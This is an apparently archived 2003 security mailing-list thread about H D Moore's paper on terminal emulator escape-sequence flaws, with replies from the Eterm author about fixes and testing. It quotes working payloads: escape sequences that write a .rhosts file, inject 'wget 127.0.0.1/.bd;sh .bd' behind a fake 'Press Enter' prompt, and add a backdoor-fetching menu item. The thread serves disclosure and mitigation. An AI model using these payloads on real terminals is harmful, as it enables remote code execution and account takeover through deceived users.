Terminal Emulator Security Issues
H D Moore
http://www.digitaldefense.net/labs/
---------------------------------------------------------
TERMINAL EMULATOR SECURITY ISSUES
Copyright © 2003 Digital Defense Incorporated
All Rights Reserved
[ Table of Contents ]
-- Summary
-- Disclaimer
-- Escape Sequences
-- Remote Exploitation
-- Screen Dumping
-- Window Title Reporting
-- Miscellaneous Issues
-- Terminal Defense
-- Tested Emulator Versions
-- Vulnerability Index
-- A Fictitious Case Study
-- References
-- Credits
Michael Jennings
H D Moore wrote:
> Eterm and rxvt both implement what they call the "screen dump"
> feature. This escape sequence will cause an arbitrary file to be
> opened and filled with the current contents of the terminal
> window. These are the only two tested emulators[1] that still had
> the ability to write to files enabled by default. Although rxvt will
> ignore dump requests for existing files, Eterm[2] will happily
> delete the file and then create it again. Although it is technically
> the same feature, the OSC code used to trigger it is different
> between the two emulators. For rxvt, the screen dump code is 55, for
> Eterm, it is 30. It is possible to control the entire contents of
> the file by specifying the reset sequence, then the required data,
> followed by the screen dump command.
>
> $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"
As you noted, this is no longer possible with the current release of
Eterm, which has been out for some time now. I didn't think it was
exploitable until, through a discussion related to this Debian bug:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=141374&archive=yes
I realized the combination of events noted here. Which is exactly why
it didn't make it into 0.9.2, and why I have been telling anyone who
would listen that 0.9.2 was the only version anyone should be running.
> When the output of the above command is displayed on the terminal,
> it will set the window title to that string. Setting the window
> title by itself is not much of a security issue, however certain
> xterm variants (and dtterm) also provide an escape sequence for
> reporting the current window title. This essentially takes the
> current title and places it directly on the command line. Due to the
> way that most emulators processes the escape sequence, it is not
> possible to embed a carriage return into the window title itself, so
> the user would need to hit enter for it to process the title as a
> command. The escape sequence for reporting the window title is:
>
> $ echo -e "\e[21t"
>
> At this point, the attacker needs to convince the user to hit enter
> for the "exploit" to succeed. There are a number of techniques
> available to both hide the command and encourage the user to "press
> enter to continue". The simplest is to just insert a prompt followed
> by the "invisible" character attribute right before reporting the
> title. Another method is to set the foreground and background colors
> to be the same (all black or white) and hope the user hits the enter
> key when trying to determine what happened. The following example
> for xterm demonstrates a sequence that downloads and executes a
> backdoor while hiding the command line. The "Press Enter >" string
> should be changed to something appropriate for the attack
> vector. Some likely candidates include "wget internal error: press
> enter to continue" or "Error: unknown TERM, hit enter to continue".
>
> $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
>
> Any terminal emulator that allows the window title to be placed on
> the command-line is vulnerable to this attack. The applications
> which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt,
> aterm, Eterm, hanterm, and putty[1]. The tested applications that
> did not allow the title to be written include gnome-terminal 2.0,
> konsole, SecureCRT, and aterm.
Just for clarification, you might want to specify whether or not aterm
was vulnerable since you listed it twice. (I'm guessing it wasn't.)
Other than disabling the reporting of the title altogether, I see no
way of "sanitizing" this, as you put it, without blocking potentially
legitimate uses. So for now I've disabled the sequence you've noted,
along with the other one you didn't mention, until such time as
someone points out what I'm missing.
> Eterm should be given an award for the "Easiest to Compromise"
> terminal emulator.
Ouch...
Based on 0.9.1, I can see where you'd make that statement. I don't
believe that statement is true, however, with respect to 0.9.2. I
made a number of mistakes in previous versions trying to enhance
functionality, obviously without giving enough thought to how they
could be misused. 0.9.2 corrects the vast majority, I believe, of
those errors by creating functionality which is accessible only by
user-configured objects and not by escape codes and such.
> The developers based much of their code off of the rxvt and xterm
> source, so Eterm tends to share the same problems as those two
> emulators as well.
Hopefully, that won't be true for much longer.
> If you happen to be running a CVS version of Eterm from between
> February 10th and May 8th of 2001, it was possible to execute an
> arbitrary command just by displaying the following escape sequence:
>
> $ echo -e "\e]6;73;command\a"
Or, change the 73 to a 70. Closes the window. Sigh.
> Fortunately, this feature never made it into an official release,
> the "fork-and-exec" ability was replaced by the script action
> spawn() instead.
Which, I'd like to point out for the sake of completeness, can only be
activated by an event binding (key press, menu item, etc.), not by any
escape sequence.
> Both rxvt and aterm support a feature known as the menuBar. This
> feature allows the user to create drop-down menus at the top of the
> terminal screen using both menu configuration files and escape
> sequences. Anyone able to display data on the terminal could modify
> the menu entries in a way that would compromise the system when
> accessed. This type of attack relies more on social engineering, but
> still provides a potential entry point when nothing else is
> available. The example below will create a new top-level menu item
> called "Special" with a single item labeled "Access", when clicked
> it will download and execute a backdoor from http://127.0.0.1/.bd
> and exit the shell.
>
> $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"
I believe some distributions are still shipping with Eterm 0.8.x.
Versions prior to 0.9 could be vulnerable to this problem as well.
> While looking through the screen shots again, Andre gets the idea to
> look at the Eterm documentation and see what other features it
> supports. Not only is the documentation easy to read with plenty of
> examples,
Well, at least *somebody* appreciates the time I spend on
documentation, even if it does get me into trouble. *wry grin*
> About two hours later, Andre finally manages to get Eterm and its 60
> megabytes of support libraries compiled.
Cute. :-)
> This paper was written by H D Moore, with much help from the rest of
> the Digital Defense Operations Team. I would like to thank Solar
> Designer for providing some great feedback on the original draft and
> Mark Cox for handling the CVE candidate generation and vendor
> coordination.
I'm not sure what "vendor coordination" was done, but I know I was
never contacted. Just FYI.
For the record, I remain committed to continuing to develop and
innovate, focusing on flexibility and power over minimalism. Although
this report doesn't make it look that way (doh), I do try very hard to
write code with security in mind. I'm no expert, certainly not
compared to many of the people on this list, and I do miss things.
But I find the alternative approach of lacking functionality for fear
of screwing something up to be a cop-out.
I accept that I will make mistakes, even though I always strive to
make none. So I do my best to respond quickly to issues that do
arise. I have been a member of BUGTRAQ for a number of years now, and
I respect and believe 100% in the principles and practice of full
disclosure. However, please also feel free to contact me personally
at m...@eterm.org if you have any questions or concerns, now or in the
future.
Regards,
Michael
--
Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <m...@kainx.org>
n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
-----------------------------------------------------------------------
"A woman broke up with me and sent me pictures of her and her new
boyfriend in bed together. Solution? I sent them to her dad."
-- Christopher Case
H D Moore
> > which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt,
> > aterm, Eterm, hanterm, and putty[1]. The tested applications that
> > did not allow the title to be written include gnome-terminal 2.0,
> > konsole, SecureCRT, and aterm.
>
> Just for clarification, you might want to specify whether or not aterm
> was vulnerable since you listed it twice. (I'm guessing it wasn't.)
Just when you think you've got all the typos ironed out... Yeah, aterm
does not support the window title reporting feature.
> Other than disabling the reporting of the title altogether, I see no
> way of "sanitizing" this, as you put it, without blocking potentially
> legitimate uses. So for now I've disabled the sequence you've noted,
> along with the other one you didn't mention, until such time as
> someone points out what I'm missing.
Would stripping escape sequences from the window title work? Do you know
of any applications that actually use this feature?
> > Eterm should be given an award for the "Easiest to Compromise"
> > terminal emulator.
>
> Ouch...
>
> Based on 0.9.1, I can see where you'd make that statement. I don't
> believe that statement is true, however, with respect to 0.9.2.
Absolutely correct, this paper was written over a period of months, the
0.9.1 release was the latest version available with most distributions
when I made that claim. The reasons for picking on Eterm:
* arbitrary command execution at one point in its lifetime
* arbitrary file creation with user-defined content (via clear screen)
* shared feature-sets with xterm, rxvt, etc
* great documentation for all of these features ;)
> I'm not sure what "vendor coordination" was done, but I know I was
> never contacted. Just FYI.
The vendor coordination was done through the vendor-sec mailing list with
about a three-week head start prior to disclosure. There really weren't
many true "bugs" found, just about everything covered was implemented
deliberately and could be found in the documentation of the app. There
had already been a number of debates on the exploitability of these
features, so this paper was more of a FAQ than any sort of advisory. It
wasn't my intention to catch anyone off-guard on this, just to bring
these issues back into the limelight for a while and see if other people
had a similar take on them.
> But I find the alternative approach of lacking functionality for fear
> of screwing something up to be a cop-out.
:)
-HD
Juraj Ziegler
quickly.
On Mon, Feb 24, 2003 at 03:02:52PM -0600, H D Moore wrote:o
> $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"
Does not work. Code 33 is not implemented, according to the
documentation, code 50 is used to change font [specifying movement in
the terminal's font list].
> $ echo -e "\e]2;This is the new window title\a"
Works.
> $ echo -e "\e[21t"
echo -e "\e]2;whoo\a"
echo -e "\e[21t"
Changes window title to 'whoo', but nothing is pasted -> does not work.
> $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
It can be deduced that this does not work either, and a quick test
proved it.
> $ echo -e "\eP0;0|0A/17\x9c"
Safe from this harm, over here.
> $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"
Besides of a weird output from echo itself [as no all characters where
handled by the terminal], nothing.
The output is: :]itd
As to wterm's origin, it seems to be based on rxvt
<quote site="http://largo.windowmaker.org/files.php#wterm">
wterm started as a beta test of some additions Alfredo hoped to get
contributed to the official rxvt source tree.
</quote>
Version tested: 6.2.9 - latest (even though released in 8/2001)
[e]
--
_______________________________________________________________________________
>e...@hq.sk< /(bb|[^b]{2})/ >http://hq.sk/~euro<
"always know what you say, but do not always say what you know"
Michael Jennings
On Tuesday, 25 February 2003, at 08:07:08 (-0600),
H D Moore wrote:
> Would stripping escape sequences from the window title work? Do you
> know of any applications that actually use this feature?
Well, my gut reaction was a patch which removed all characters less
than 32 from the title and icon name when setting them, and when
fetching them for display changed all such characters to blanks. That
would effectively disable any carriage returns/linefeeds, escape
codes, shift-in/shift-out, etc. (Incidentally, I was unable to embed
any such sequences in the title/icon name in 0.9.2 anyway...but I
didn't try for very long, so I may have missed something.)
While that would certainly disable the ability for the commands to be
hidden from the user the way you mentioned (which actually tends to be
ineffective on Eterm anyway, since most people don't use solid colored
backgrounds...but I digress :) ), as your sample showed, it is still
possible to throw a sequence of commands up onto the terminal,
requiring only the press of an Enter key on the part of the user.
And as UNIX (esp. Linux) gains mainstream acceptance, more novices
will be using it. Since the UNIX command line is indistinguishable
from line noise by the typical novice, it's not a far leap to think
that one of them might pay attention to the "Press Enter" part (likely
the only part which would make sense to them), not realizing the
affect the command might have. Especially if it didn't produce any
output.
So I guess it boils down to a question of, where does "social
engineering" end and "user ignorance/stupidity" begin? I think some
discussion on that topic would be beneficial, at least for developers
like me who would always rather do a feature right than not do it at
all.
And no, I'm not aware of any application which uses that feature,
but with the recent batch of "shell prompt theming" applications
(bashish, and the like), I wouldn't be at all surprised if there was
one.
> Absolutely correct, this paper was written over a period of months,
> the 0.9.1 release was the latest version available with most
> distributions when I made that claim. The reasons for picking on
> Eterm:
>
> * arbitrary command execution at one point in its lifetime
Yup. Major brain fart there. It was always intended solely as an
interim measure, but I failed to fully consider its implications.
> * arbitrary file creation with user-defined content (via clear screen)
> * shared feature-sets with xterm, rxvt, etc
> * great documentation for all of these features ;)
If only users were as thorough in their perusal of the documentation
as you were.... :-)
> The vendor coordination was done through the vendor-sec mailing list
> with about a three-week head start prior to disclosure. There really
> weren't many true "bugs" found, just about everything covered was
> implemented deliberately and could be found in the documentation of
> the app. There had already been a number of debates on the
> exploitability of these features, so this paper was more of a FAQ
> than any sort of advisory. It wasn't my intention to catch anyone
> off-guard on this, just to bring these issues back into the
> limelight for a while and see if other people had a similar take on
> them.
Understood. As I mentioned, the only thing you mentioned that I
didn't know of (and the only thing to which 0.9.2 is vulnerable) was
the title setting issue, which I would just like to say was an
absolutely *brilliant* piece of work. Never would I have thought to
combine such a seemingly innocuous feature with a creative bit of
social engineering to such a potentially devastating effect.
Truly impressive, as was the report overall. Kudos. :)
Michael
--
Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <m...@kainx.org>
n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
-----------------------------------------------------------------------
"I don't care if you win or lose, just as long as you win."
-- Vince Lombardi
Michael Jennings
> > know of any applications that actually use this feature?
>
>
> (Incidentally, I was unable to embed any such sequences in the
> title/icon name in 0.9.2 anyway...but I didn't try for very long, so
> I may have missed something.)
After further investigation, I'd like to point out the following:
Eterm has *never* allowed any control characters in its title/icon
name sequences. The following bit of code has existed at least since
Eterm was first committed to CVS:
else if (ch < ' ')
return; /* control character - exit */
in term.c::process_xterm_seq(), line 1270 or so.
So there was never any way to get escape sequences in the title to
begin with, meaning that the command cannot be hidden using any
character attributes or background/foreground color matching.
Furthermore, the title which is printed via the \e[21t sequence is
limited to just under 1024 characters, which is not enough to cause
the command to scroll off the screen on any but the smallest of
terminals.
Thus, the following footnote from the original report applies to Eterm
as well:
[1] Although putty would place the title onto the command-line, we
were not able to find a method of hiding the command, since
neither the "invisible" character attribute nor the foreground
color could be set. Putty has a relatively low limit to the number
of characters that can be placed into the window title, so it is
not possible to simply flood the screen with garbage and hope the
command rolls past the current view.
Having said all that, it would seem that Eterm 0.9.2 is not vulnerable
to ANY of the issues mentioned in this report. As such, all
distributions shipping older versions of Eterm should be safe after
upgrading to 0.9.2. To that end, Eterm source and RPM packages are
available for download at http://www.eterm.org/download/ for any
vendor/user with 0.9.1 or earlier.
Hope that clears everything up. :-)
Regards,
Michael
--
Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <m...@kainx.org>
n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
-----------------------------------------------------------------------
"By the time they had diminished from 50 to 8, the other dwarves
began to suspect 'Hungry' ..." -- Gary Larson, "The Far Side"